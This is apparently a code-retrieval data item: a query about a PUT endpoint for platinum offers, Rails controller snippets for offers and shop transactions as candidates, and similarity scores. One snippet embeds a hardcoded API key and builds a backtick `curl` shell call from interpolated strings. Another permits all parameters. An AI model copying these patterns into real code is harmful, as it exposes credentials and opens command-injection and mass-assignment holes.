offer.created_at.strftime(\"%-m/%-d/%Y\")\n }\n end\n end\n end\n if params[:include_offers_made_by_other_users] == \"true\"\n @current_user.products.each do |product|\n if (product.sold_status != Product.SOLD_SOLD || params[:allow_sold])\n product.offers.each do |offer|\n offers << {\n offer_id: offer.id,\n product: {\n user: {\n user_id: product.user.id,\n username: product.user.username\n },\n thumbnail: product.thumbnail,\n product_id: product.id,\n product_name: product.product_name,\n product_price: product.price\n },\n product_name: product.product_name,\n user: {\n user_id: offer.user.id,\n\t\t\t\t username: offer.user.username,\n first_name: offer.user.first_name,\n last_name: offer.user.last_name\n },\n conversation: offer.conversation ? {id: offer.conversation.id} : nil,\n offer_status: offer.offer_status,\n price: offer.price,\n created_at: offer.created_at.strftime(\"%-m/%-d/%Y\")\n }\n end\n end\n end\n end\n end\n render status: 200, json: {offers: offers}\n end", "def populate_offers_living_social\n testing = \"true\"\n if testing != \"true\"\n division_request = \"http://www.livingsocial.com/services/city/v2/cities\"\n @division_response = `curl \"#{division_request}\"`\n @division_response = JSON.parse(@division_response)\n else\n @division_response = {\"divisions\"=>[{\"id\"=>\"26\"}, {\"id\"=>\"864\"}]}\n end\n\n @division_response['divisions'].each do |division|\n @division_deals_request = \"http://monocle.livingsocial.com/v2/deals?city=#{URI::escape(division['id'])}&api-key=2574AD58578A419596D95D4D0549A9CF&full=1\"\n @division_deals_response = `curl \"#{@division_deals_request}\"`\n @division_deals_response = JSON.parse(@division_deals_response)\n\n @division_deals_response['deals'].each do |deal|\n if deal['sold_out'].to_s.match(/false/i)\n @offer = Offer.find_by_deal_url deal['url']\n @offer.destroy if @offer.present?\n @offer = Offer.new\n @offer.deal_id = deal['id']\n @offer.deal_end = deal['offer_ends_at']\n @offer.deal_start = deal['offer_starts_at']\n @offer.deal_source = \"livingsocial\"\n @offer.merchant_type = ''\n @offer.deal_header = deal['long_title']\n @offer.merchant_name = deal['merchant_name']\n\n @offer.division_id = division['id']\n @offer.large_image_url = deal['images'][0]['size220']\n @offer.status = \"open\"\n @offer.deal_url = deal['url']\n @offer.redemption_location = deal['locations'][0].present? ? (deal['locations'][0]['city'] ) : (\"Online Deal\")\n\n deal['options'].each do |option|\n @offer_option = @offer.offer_options.build\n \n @offer_option.value_currency = deal['currency_code']\n @offer_option.value_amount = option['original_price']\n @offer_option.price_currency = deal['currency_code']\n @offer_option.price_amount = option['price']\n\n if option['savings'].blank?\n @offer_option.discount_amount = option['original_price'].to_f - option['price'].to_f\n else\n @offer_option.discount_amount = option['savings'].to_f\n end\n\n if option['discount'].blank?\n @offer_option.discount_percent = ((100.0 * (@offer_option.value_amount.to_f - @offer_option.price_amount.to_f))/\n @offer_option.value_amount.to_f).to_i\n else\n @offer_option.discount_percent = option['discount'].to_i\n end\n \n @offer_option.price_amount = \"$\" + option['price'].to_s\n @offer_option.discount_amount = \"$\" + sprintf(\"%0.02f\", @offer_option.discount_amount).to_s\n @offer_option.discount_currency = deal['currency_code']\n @offer_option.offer_id = @offer.id\n @offer.update_trend_score(deal['orders_count'])\n @offer.save\n end\n \n deal['locations'].each do |location|\n @offer_redemption_location = @offer.offer_redemption_locations.build\n @offer_redemption_location.redemption_neighborhood = location['city']\n \n @offer_redemption_location.redemption_street_address1 = location['address1']\n @offer_redemption_location.redemption_street_address2 = location['address2']\n @offer_redemption_location.redemption_city = location['city']\n @offer_redemption_location.redemption_state = location['state']\n \n if Offer::States::List.include?(@offer_redemption_location.redemption_state)\n @offer_redemption_location.redemption_country = deal['county_code']\n else\n @offer_redemption_location.redemption_country = \"NONUS\"\n end\n\n @offer_redemption_location.redemption_zip_code = location['postal_code']\n @offer_redemption_location.redemption_lat = location['latlng'][0]\n @offer_redemption_location.redemption_lng = location['latlng'][1]\n @offer_redemption_location.redemption_phone_number = location['phone']\n @offer_redemption_location.update_woeid\n @offer_redemption_location.offer_option_id = @offer_option.id\n @offer.save\n end\n \n @offer.category_id = deal['categories'][0].to_s + '-' + deal['categories'][1].to_s\n p @offer.category_id\n @offer.get_snapgadget_category_id_living_social\n @offer.save\n end\n end\n end\n\n end", "def update\n @shop_platinum_offer = Shop::PlatinumOffer.find(params[:id])\n\n respond_to do |format|\n if @shop_platinum_offer.update_attributes(params[:shop_platinum_offer])\n format.html { redirect_to @shop_platinum_offer, notice: 'Platinum offer was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @shop_platinum_offer.errors, status: :unprocessable_entity }\n end\n end\n end", "def postEntitySpecial_offer( entity_id, title, description, terms, start_date, expiry_date, url)\n params = Hash.new\n params['entity_id'] = entity_id\n params['title'] = title\n params['description'] = description\n params['terms'] = terms\n params['start_date'] = start_date\n params['expiry_date'] = expiry_date\n params['url'] = url\n return doCurl(\"post\",\"/entity/special_offer\",params)\n end", "def offer_params\n params.require(:offer).permit(:datetime,\n :pickUpPoint, :dropOffPoint, :vacancies, :car_license_plate_number, :cost)\n end", "def create\n offer = params[:offer]\n @offer = Offer.new\n @offer.publicated = false\n @offer.prizes_attributes = offer[:prizes_attributes]\n @offer.name = offer[:name]\n @offer.start_date = offer[:start_date]\n @offer.end_date = offer[:end_date]\n @offer.created_at = Time.now\n @offer.updated_at = Time.now\n @offer.photo = offer[:photo]\n @offer.branch = Branch.find(offer[:branch_id])\n @offer.description = offer[:description]\n @offer.publication_date = offer[:publication_date]\n @offer.start_date = @offer.start_date.change({:hour => (offer[:start_hour]).to_i})\n @offer.end_date = @offer.end_date.change({:hour => (offer[:end_hour]).to_i})\n @offer.is_first_game = [true, false].sample\n\n\n respond_to do |format|\n if params[:title_ids].nil?\n format.html { redirect_to :back , notice: @offer.name + ' posee errores o no posee intereses.' }\n end\n if @offer.save\n title_ids = params[:title_ids]\n unless title_ids.nil?\n title_ids.each do |id|\n offers_titles = OffersTitles.new\n offers_titles.offer_id = @offer.id\n offers_titles.title_id = id\n offers_titles.save\n end\n end\n format.html { redirect_to users_offers_company_user_path , notice: @offer.name + ' fue creada correctamente.' }\n format.json { render json: @offer, status: :created, location: @offer }\n else\n format.html { render action: \"new\" }\n format.json { render json: @offer.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @stationeryrequest = Stationeryrequest.new\n # получить список предметов на складе\n @hotelsupplies = Hotelsupply.all\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @stationeryrequest }\n end\n end", "def index\n if params[:for_applicant]\n @offers = current_user.applicant.offers\n elsif params[:for_positions]\n @offers = []\n current_user.positions.each { |offer| @offers << offer }\n else\n @offers = Offer.all\n end\n\n respond_to do |format|\n format.jsonapi { render jsonapi: @offers }\n end\n end", "def new\n @offer = Offer.new\n @user = current_user\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @offer }\n end\n end", "def response_for_offer_create(params)\n {\"response\" => { \"status\" => 1, \"data\" => rand(1_000_000).to_s } }\n end", "def create\n # offer holen\n offer_type = params[:shop_transaction][:offer_type]\n if offer_type === 'resource'\n offer = Shop::ResourceOffer.find(params[:shop_transaction][:offer_id])\n elsif offer_type === 'bonus'\n offer = Shop::BonusOffer.find(params[:shop_transaction][:offer_id])\n elsif offer_type === 'platinum'\n offer = Shop::PlatinumOffer.find(params[:shop_transaction][:offer_id])\n elsif offer_type === 'special_offer'\n offer = Shop::SpecialOffer.find(params[:shop_transaction][:offer_id])\n raise BadRequestError.new('no special offer') if offer.nil?\n raise ForbiddenError.new('already bought special offer') unless offer.buyable_by_character(current_character)\n else\n raise BadRequestError.new('invalid offer type')\n end\n\n if offer_type === 'bonus' && offer.currency === Shop::Transaction::CURRENCY_GOLDEN_FROGS\n price = { 3 => offer.price }\n raise ForbiddenError.new('not enough resources to pay for offer') unless current_character.resource_pool.have_at_least_resources(price)\n current_character.resource_pool.remove_resources_transaction(price)\n success = offer.credit_to(current_character)\n\n @shop_transaction = Shop::Transaction.new({\n character: current_character,\n offer: offer.to_json,\n state: Shop::Transaction::STATE_CLOSED\n })\n elsif offer_type === 'special_offer'\n ActiveRecord::Base.transaction(:requires_new => true) do\n\n shop_special_offers_transaction = Shop::SpecialOffersTransaction.find_or_create_by_character_id_and_external_offer_id(current_character.id, offer.external_offer_id)\n shop_special_offers_transaction.lock!\n\n if shop_special_offers_transaction.purchase.nil?\n purchase = shop_special_offers_transaction.create_purchase({\n character_id: current_character.id,\n external_offer_id: offer.external_offer_id,\n })\n else\n purchase = shop_special_offers_transaction.purchase\n end\n\n # lokale transaction erzeugen\n @shop_transaction = Shop::Transaction.create({\n character: current_character,\n offer: offer.to_json,\n state: Shop::Transaction::STATE_CREATED\n })\n\n # transaction zum payment provider schicken\n virtual_bank_transaction = {\n customer_identifier: current_character.identifier, # TODO: send access_token instead (to prove, that user has logged in to game server)\n credit_amount_booked: offer.price,\n booking_type: Shop::Transaction::TYPE_DEBIT,\n transaction_id: @shop_transaction.id,\n }\n\n account_response = CreditShop::BytroShop.get_customer_account(current_character.identifier)\n raise BadRequestError.new(\"Could not connect to Shop to get account balance\") unless (account_response[:response_code] == Shop::Transaction::API_RESPONSE_OK)\n credit_amount = account_response[:response_data][:amount]\n\n @shop_transaction.credit_amount_before = credit_amount\n @shop_transaction.save\n\n\n raise ForbiddenError.new('too few credits') if credit_amount < offer.price\n transaction_response = CreditShop::BytroShop.post_virtual_bank_transaction(virtual_bank_transaction, current_character.identifier)\n\n if transaction_response[:response_code] === Shop::Transaction::API_RESPONSE_OK\n @shop_transaction.credit_amount_after = transaction_response[:response_data][:amount]\n @shop_transaction.state = Shop::Transaction::STATE_CONFIRMED\n @shop_transaction.credit_amount_booked = offer.price\n @shop_transaction.save\n\n ActiveRecord::Base.transaction(:requires_new => true) do\n if !purchase.redeemed? && !shop_special_offers_transaction.redeemed?\n purchase.special_offer.credit_to(current_character)\n purchase.redeemed_at = Time.now\n purchase.save!\n\n shop_special_offers_transaction.redeemed_at = Time.now\n shop_special_offers_transaction.state = Shop::Transaction::STATE_REDEEMED\n shop_special_offers_transaction.save!\n\n @shop_transaction.state = Shop::Transaction::STATE_BOOKED\n @shop_transaction.save\n else\n @shop_transaction.state = Shop::Transaction::STATE_ERROR_NOT_BOOKED\n @shop_transaction.save\n raise BadRequestError.new(\"Could not book shop offer\")\n end\n end\n\n # transaction abschliessen\n @shop_transaction.state = Shop::Transaction::STATE_CLOSED\n @shop_transaction.save\n else # payment rejected\n @shop_transaction.state = Shop::Transaction::STATE_REJECTED\n @shop_transaction.save\n end\n\n success = @shop_transaction.save\n end\n else\n # lokale transaction erzeugen\n @shop_transaction = Shop::Transaction.create({\n character: current_character,\n offer: offer.to_json,\n state: Shop::Transaction::STATE_CREATED\n })\n\n # transaction zum payment provider schicken\n virtual_bank_transaction = {\n customer_identifier: current_character.identifier, # TODO: send access_token instead (to prove, that user has logged in to game server)\n credit_amount_booked: offer.price,\n booking_type: Shop::Transaction::TYPE_DEBIT,\n transaction_id: @shop_transaction.id,\n }\n\n account_response = CreditShop::BytroShop.get_customer_account(current_character.identifier)\n raise BadRequestError.new(\"Could not connect to Shop to get account balance\") unless (account_response[:response_code] == Shop::Transaction::API_RESPONSE_OK)\n credit_amount = account_response[:response_data][:amount]\n\n @shop_transaction.credit_amount_before = credit_amount\n @shop_transaction.save\n\n\n raise ForbiddenError.new('too few credits') if credit_amount < offer.price\n transaction_response = CreditShop::BytroShop.post_virtual_bank_transaction(virtual_bank_transaction, current_character.identifier)\n\n if transaction_response[:response_code] === Shop::Transaction::API_RESPONSE_OK\n @shop_transaction.credit_amount_after = transaction_response[:response_data][:amount]\n @shop_transaction.state = Shop::Transaction::STATE_CONFIRMED\n @shop_transaction.credit_amount_booked = offer.price\n @shop_transaction.save\n\n ActiveRecord::Base.transaction do\n if offer.credit_to(current_character)\n @shop_transaction.state = Shop::Transaction::STATE_BOOKED\n @shop_transaction.save\n else\n @shop_transaction.state = Shop::Transaction::STATE_ERROR_NOT_BOOKED\n @shop_transaction.save\n raise BadRequestError.new(\"Could not book shop offer\")\n end\n end\n\n # transaction abschliessen\n @shop_transaction.state = Shop::Transaction::STATE_CLOSED\n @shop_transaction.save\n else # payment rejected\n @shop_transaction.state = Shop::Transaction::STATE_REJECTED\n @shop_transaction.save\n end\n\n success = @shop_transaction.save\n end\n\n\n respond_to do |format|\n if success\n format.html { redirect_to @shop_transaction, notice: 'Transaction was successfully created.' }\n format.json { render json: @shop_transaction, status: :created, location: @shop_transaction }\n else\n format.html { render action: \"new\" }\n format.json { render json: @shop_transaction.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @offer = Offer.new(offer_params)\n @subsubproject = Subsubproject.find(@offer.subsubproject_id)\n projectid = @subsubproject.subproject.project.id\n subprojectid = @subsubproject.subproject.id\n subsubprojectid = @subsubproject.id\n # write offer to database\n if @offer.save\n offert_hash = Grobengineering.offert_hash(@offer.subsubproject)\n offert_hash.each do |key, array|\n offerOffertpositionEntry = OfferOffertposition.new\n offerOffertpositionEntry.offer_id = @offer.id\n offerOffertpositionEntry.offertposition_id = key\n offerOffertpositionEntry.device_anzahl = array[\"device_anzahl\"]\n offerOffertpositionEntry.eng_elplanung = array[\"kosten_eng_elplanung_total\"]\n offerOffertpositionEntry.eng_planung_sw = array[\"kosten_eng_planung_sw_total\"]\n offerOffertpositionEntry.eng_ibn_bauleitung = array[\"kosten_eng_ibn_bauleitung_total\"]\n offerOffertpositionEntry.sps_total_brutto = array[\"kosten_sps_total_brutto\"]\n offerOffertpositionEntry.sps_total_netto = array[\"kosten_sps_total_netto\"]\n offerOffertpositionEntry.io_et_total_brutto = array[\"kosten_io_et_total_brutto\"]\n offerOffertpositionEntry.io_et_total_netto = array[\"kosten_io_et_total_netto\"]\n offerOffertpositionEntry.io_pilz_total_brutto = array[\"kosten_io_pilz_total_brutto\"]\n offerOffertpositionEntry.io_pilz_total_netto = array[\"kosten_io_pilz_total_netto\"]\n offerOffertpositionEntry.fu_total_brutto = array[\"kosten_fu_total_brutto\"]\n offerOffertpositionEntry.fu_total_netto = array[\"kosten_fu_total_netto\"]\n offerOffertpositionEntry.sch_total_brutto = array[\"kosten_sch_total_brutto\"]\n offerOffertpositionEntry.sch_total_netto = array[\"kosten_sch_total_netto\"]\n offerOffertpositionEntry.elinst_total_brutto = array[\"kosten_elinst_total_brutto\"]\n offerOffertpositionEntry.elinst_total_netto = array[\"kosten_elinst_total_netto\"]\n offerOffertpositionEntry.save!\n end\n redirect_to offerte_path(:project_id => projectid,\n :subproject_id => subprojectid,\n :subsubproject_id => subsubprojectid), :notice => 'Offerte erfolgreich erstellt.'\n else\n #render new_project_subproject_offer_path(@offer.subproject.project, @offer.subproject, @offer)\n render 'new'\n end\n end", "def create\n params[:plant][:price] = ((params[:plant][:price]).to_f * 100).to_i \n @plant = Plant.new(plant_params)\n @plant.sold = false;\n @plant.user_id = current_user.id\n\n respond_to do |format|\n if @plant.save\n format.html { redirect_to @plant, notice: 'You have created a new Swap!' }\n format.json { render :show, status: :created, location: @plant }\n else\n format.html { render :new }\n format.json { render json: @plant.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @special_offers = SpecialOffer.all\n end", "def offer_params\n # params.require(:offer).permit(:owned_pokemon_id_1, :owned_pokemon_id_2, :status, :format, :offer)\n params.permit(:owned_pokemon_id_1, :owned_pokemon_id_2, :status, :format, :offer)\n # params.permit(:owned_pokemon_id_1, :owned_pokemon_id_2, :status, :format)\n end", "def create\n @point_of_sale = PointOfSale.new(point_of_sale_params)\n\n respond_to do |format|\n if @point_of_sale.save\n format.json { render :show, status: :created, location: @point_of_sale }\n else\n format.json { render json: @point_of_sale.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @offer = Offer.new(params[:offer])\n\n respond_to do |format|\n if @offer.save\n\t\[email protected]_notification\n\t\[email protected]\n\n format.html { redirect_to offers_path(:playerid => current_player.playerid)}\n\t\t#offer_path(@offer, :playerid=> current_player.playerid), notice: 'Offer was successfully created.' }\n format.json { render json: @offer, status: :created, location: @offer }\n else\n format.html { render action: \"new\" }\n format.json { render json: @offer.errors, status: :unprocessable_entity }\n end\n end\n end", "def offer_params\n params.require(:offer).permit(:cost, :date, :photo_url, :seats, :available)\n end", "def offer_params\n params.require(:offer).permit!\n end", "def create\n @offerte_regel = OfferteRegel.new(offerte_regel_params)\n\n respond_to do |format|\n if @offerte_regel.save\n format.html { redirect_to @offerte_regel, notice: 'Offerte regel was successfully created.' }\n format.json { render :show, status: :created, location: @offerte_regel }\n else\n format.html { render :new }\n format.json { render json: @offerte_regel.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n\n @offers = Offer.order(:id)\n\n render( {json: @offers}.merge set_render_options )\n\n end", "def index\n @offers = Offer.all\n respond_to do |format|\n format.jsonapi { render jsonapi: @offers }\n format.html { @offers }\n end\n end", "def offer_params\n params.require(:offer).permit(:offer_id, :user_id, :company_id, :position, :employment_type, :responsiveness, :experience, :response_time, :address, :latitude, :longitude, :street_number, :locality, :route, :offer, :administrative_area_level_1, :country, :postal_code)\n end", "def create\n @planets_exoplanet = Planets::Exoplanet.new(params[:planets_exoplanet])\n\n respond_to do |format|\n if @planets_exoplanet.save\n format.html { redirect_to @planets_exoplanet, :notice => 'Exoplanet was successfully created.' }\n format.json { render :json => @planets_exoplanet, :status => :created, :location => @planets_exoplanet }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @planets_exoplanet.errors, :status => :unprocessable_entity }\n end\n end\n end", "def destroy\n @shop_platinum_offer = Shop::PlatinumOffer.find(params[:id])\n @shop_platinum_offer.destroy\n\n respond_to do |format|\n format.html { redirect_to shop_platinum_offers_url }\n format.json { head :ok }\n end\n end", "def create\n @public_offer = @club.public_offers.build(params[:public_offer])\n @public_offer.user_id = current_user.id\n #@offer = Offer.new(params[:offer])\n #@offer.user_id = current_user.id\n respond_to do |format|\n if @public_offer.save\n format.html { redirect_to club_public_offers_path(@club), notice: 'Das Angebot wurde erstellt.' }\n format.json { render json: @public_offer, status: :created, location: @public_offer }\n else\n format.html { render action: \"new\" }\n format.json { render json: @offer.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @breadcrumb = 'create'\n @offer = Offer.new\n $attachment_changed = false\n $attachment = Attachment.new\n destroy_attachment\n @projects = projects_dropdown\n @work_orders = work_orders_dropdown\n @charge_accounts = projects_charge_accounts(@projects)\n @stores = stores_dropdown\n @suppliers = suppliers_dropdown\n @offer_requests = offer_requests_dropdown\n @payment_methods = payment_methods_dropdown\n # @products = products_dropdown\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @offer }\n end\n end", "def create\n @offering = Offering.new(params[:offering])\n\n respond_to do |format|\n if @offering.save\n flash[:notice] = 'Offering was successfully created.'\n format.html { redirect_to(admin_offering_path(@offering)) }\n format.xml { render :xml => @offering, :status => :created, :location => @offering }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @offering.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @offering = Offering.new(params[:offering])\n @offering.event_id = params[:event_id]\n @offering.user_id = current_user.id\n\n respond_to do |format|\n if @offering.save\n format.html { redirect_to @offering, notice: 'Oferta criada com sucesso.' }\n format.json { render json: @offering, status: :created, location: @offering }\n else\n format.html { render action: \"new\" }\n format.json { render json: @offering.errors, status: :unprocessable_entity }\n end\n end\n end", "def params_new\n base = [:product]\n params.require(:new_offer).permit(base)\n end", "def index\n @offers = Offer.all\n @offer_codes = OfferCode.all\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @offers }\n end\n end", "def store_offers(job_offers)\n job_offers.each do |job_offer|\n unless JobOffer.where(id: job_offer[\"id\"]).present?\n JobOffer.create job_offer\n end\n end\n end", "def create\n @offering = Offering.new(params[:offering])\n\n respond_to do |format|\n if @offering.save\n flash[:notice] = 'Offering was successfully created.'\n format.html { redirect_to(edit_offering_path(@offering, :anchor => \"features\")) }\n format.xml { render :xml => @offering, :status => :created, :location => @offering }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @offering.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @offerer = Offerer.new(offerer_params)\n #byebug\n\n respond_to do |format|\n if @offerer.save\n format.html { redirect_to @offerer, notice: 'Offerer was successfully created.' }\n format.json { render :show, status: :created, location: @offerer }\n else\n format.html { render :new }\n format.json { render json: @offerer.errors, status: :unprocessable_entity }\n end\n end\n #byebug\n end" ]
[ "0.6798831", "0.67751306", "0.67263204", "0.66895103", "0.6555843", "0.65012175", "0.64537793", "0.64048576", "0.6364331", "0.6362568", "0.6348361", "0.62990266", "0.62764525", "0.62363803", "0.61986583", "0.6192489", "0.6192489", "0.61590135", "0.61402476", "0.6124745", "0.6122333", "0.6099783", "0.6074982", "0.6039853", "0.6033575", "0.6014783", "0.59923005", "0.5989377", "0.5989377", "0.5989377", "0.59633535", "0.5963238", "0.5950181", "0.59396076", "0.5936915", "0.5928118", "0.5909996", "0.5906185", "0.5880294", "0.58764297", "0.5868298", "0.5864029", "0.5861243", "0.58594555", "0.58586127", "0.5857931", "0.5852939", "0.5847665", "0.5842022", "0.58197796", "0.5811028", "0.57940257", "0.5793023", "0.5790278", "0.5776664", "0.5770248", "0.57679665", "0.57514733", "0.57452893", "0.57442176", "0.5738098", "0.57356465", "0.5735037", "0.5730021", "0.57253826", "0.57253826", "0.57094586", "0.56977683", "0.56960845", "0.56932056", "0.56886584", "0.56845796", "0.5676078", "0.56738156", "0.5670756", "0.5669228", "0.5653206", "0.5652398", "0.56500804", "0.5621515", "0.5604914", "0.56019527", "0.5599483", "0.5594234", "0.5591304", "0.55893", "0.5588909", "0.55749524", "0.5573759", "0.5572809", "0.5570654", "0.55631834", "0.55566716", "0.5546378", "0.5536266", "0.5526155", "0.5525587", "0.5523758", "0.55217546", "0.5518461" ]
0.70916224
0
PUT /shop/platinum_offers/1 PUT /shop/platinum_offers/1.json
def update @shop_platinum_offer = Shop::PlatinumOffer.find(params[:id]) respond_to do |format| if @shop_platinum_offer.update_attributes(params[:shop_platinum_offer]) format.html { redirect_to @shop_platinum_offer, notice: 'Platinum offer was successfully updated.' } format.json { head :ok } else format.html { render action: "edit" } format.json { render json: @shop_platinum_offer.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def updateOffer()\n @offer_operation = :update\n end", "def update\n respond_to do |format|\n if @offer.update(offers_params)\n format.jsonapi { render :show, status: :ok, location: @offer }\n else\n format.jsonapi { render jsonapi: @offer.errors, status: :unprocessable_entity }\n end\n end\n end", "def offer\n @offer = @host.offers.find(params[:id])\n @offer.update(offer_params) if request.put?\n redirect_to offers_host_path if request.put?\n end", "def update\n @shop_special_offer = Shop::SpecialOffer.find(params[:id])\n\n respond_to do |format|\n if @shop_special_offer.update_attributes(params[:shop_special_offer])\n format.html { redirect_to @shop_special_offer, notice: 'Special offer was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @shop_special_offer.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @offer.update(offer_params)\n format.html { redirect_to admin_offers_path,\n notice: 'Offer was successfully updated.' }\n format.json { render :show, status: :ok, location: @offer }\n else\n format.html { render :edit }\n format.json { render json: @offer.errors,\n status: :unprocessable_entity }\n end\n end\n end", "def update\n @offer = Offer.find(params[:id])\n\n if @offer.update(offer_params)\n head :no_content\n else\n render json: @offer.errors, status: :unprocessable_entity\n end\n end", "def update\n respond_to do |format|\n if @special_offer.update(special_offer_params)\n format.html { redirect_to @special_offer, notice: 'Special offer was successfully updated.' }\n format.json { render :show, status: :ok, location: @special_offer }\n else\n format.html { render :edit }\n format.json { render json: @special_offer.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @shop_resource_offer = Shop::ResourceOffer.find(params[:id])\n\n respond_to do |format|\n if @shop_resource_offer.update_attributes(params[:shop_resource_offer])\n format.html { redirect_to @shop_resource_offer, notice: 'Resource offer was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @shop_resource_offer.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @offer = Offer.find(params[:id])\n\n respond_to do |format|\n if @offer.update_attributes(params[:offer])\n format.html { redirect_to edit_offer_path(@offer), notice: 'Oferta a fost updatata cu success.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @offer.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @offer = Offer.find(params[:id])\n\n respond_to do |format|\n if @offer.update_attributes(params[:offer])\n format.html { redirect_to @offer, notice: 'Offer was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @offer.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @offer = Offer.find(params[:id])\n\n respond_to do |format|\n if @offer.update_attributes(params[:offer])\n format.html { redirect_to @offer, notice: 'Offer was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @offer.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @offer = Offer.find(params[:id])\n checkaccountobject(\"offers\",@offer)\n respond_to do |format|\n if @offer.update_attributes(params[:offer])\n format.html { redirect_to @offer, notice: 'Offer was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @offer.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @shop_bonus_offer = Shop::BonusOffer.find(params[:id])\n\n respond_to do |format|\n if @shop_bonus_offer.update_attributes(params[:shop_bonus_offer])\n format.html { redirect_to @shop_bonus_offer, notice: 'Bonus offer was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @shop_bonus_offer.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @offer.update(offer_params)\n format.html { redirect_to @offer, notice: 'Offer was successfully updated.' }\n format.json { render :show, status: :ok, location: @offer }\n else\n format.html { render :edit }\n format.json { render json: @offer.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @offer.update(offer_params)\n format.html { redirect_to @offer, notice: 'Offer was successfully updated.' }\n format.json { render :show, status: :ok, location: @offer }\n else\n format.html { render :edit }\n format.json { render json: @offer.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @shop_platinum_offer = Shop::PlatinumOffer.new(params[:shop_platinum_offer])\n\n respond_to do |format|\n if @shop_platinum_offer.save\n format.html { redirect_to @shop_platinum_offer, notice: 'Platinum offer was successfully created.' }\n format.json { render json: @shop_platinum_offer, status: :created, location: @shop_platinum_offer }\n else\n format.html { render action: \"new\" }\n format.json { render json: @shop_platinum_offer.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @offer.update(offer_params)\n format.html { redirect_to @offer, notice: 'Oferta zmieniona pomyślnie.' }\n format.json { render :show, status: :ok, location: @offer }\n else\n format.html { render :edit }\n format.json { render json: @offer.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @offer.update(offer_params)\n format.html { redirect_to [@offer.compare.site,@offer], notice: 'offer was successfully updated.' }\n format.json { render :show, status: :ok, location: @offer }\n else\n format.html { render :edit }\n format.json { render json: @offer.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @offer.update(offer_params)\n format.html { redirect_to @offer, notice: 'Offer was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @offer.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @offer.update(offer_params)\n format.html { redirect_to @offer, notice: 'Offer was successfully updated.' }\n format.json { render :index, estado: :ok, location: @offer }\n else\n format.html { render :edit }\n format.json { render json: @offer.errors, estado: :unprocessable_entity }\n end\n end\n end", "def new\n @shop_platinum_offer = Shop::PlatinumOffer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @shop_platinum_offer }\n end\n end", "def update\n authorize @offer\n\n respond_to do |format|\n if @offer.update(offer_params)\n Offer.delay.reindex\n\n format.html { redirect_to @offer, notice: 'Offer was successfully updated.' }\n format.json { render :show, status: :ok, location: @offer }\n else\n format.html { render :edit }\n format.json { render json: @offer.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @ms_offer = MsOffer.find(params[:id])\n\n respond_to do |format|\n if @ms_offer.update_attributes(params[:ms_offer])\n format.html { redirect_to @ms_offer, notice: 'Ms offer was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @ms_offer.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n offer = Offer.find(params[:id])\n if offer\n if @current_user.id == offer.user.id\n if offer.offer_status != Offer.OFFER_COMPLETED\n old_price = offer.price\n offer.price = params[:price] if params[:price]\n if offer.save()\n\n notify(\"NOTIF_OFFER_UPDATED\", {\n user: {\n id: offer.user.id,\n username: offer.user.username,\n first_name: offer.user.first_name,\n last_name: offer.user.last_name\n },\n offer: {\n id: offer.id,\n prev_price: old_price,\n price: offer.price\n },\n product: {\n id: offer.product.id,\n product_name: offer.product.product_name\n }\n }, offer.product.user_id)\n\n payload = {\n error: false,\n id: offer.id\n }\n render status: 200, json: payload\n else\n errors = []\n offer.errors.keys.each do |key|\n errors << {field: key, message: offer.errors.full_messages_for(key).first}\n end\n payload = {\n error: true,\n errors: errors\n }\n render status: 200, json: payload\n end\n else\n render status: 473, json: {error: true}\n end\n else\n render status: 472, json: {error: true}\n end\n else\n render status: 404, json: {error: true}\n end\n end", "def update\n @offer = Offer.find(params[:id])\n \n respond_to do |format|\n if @offer.update_attributes(params[:offer])\n format.html { redirect_to [:admins,@offer], notice: 'Offer was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n 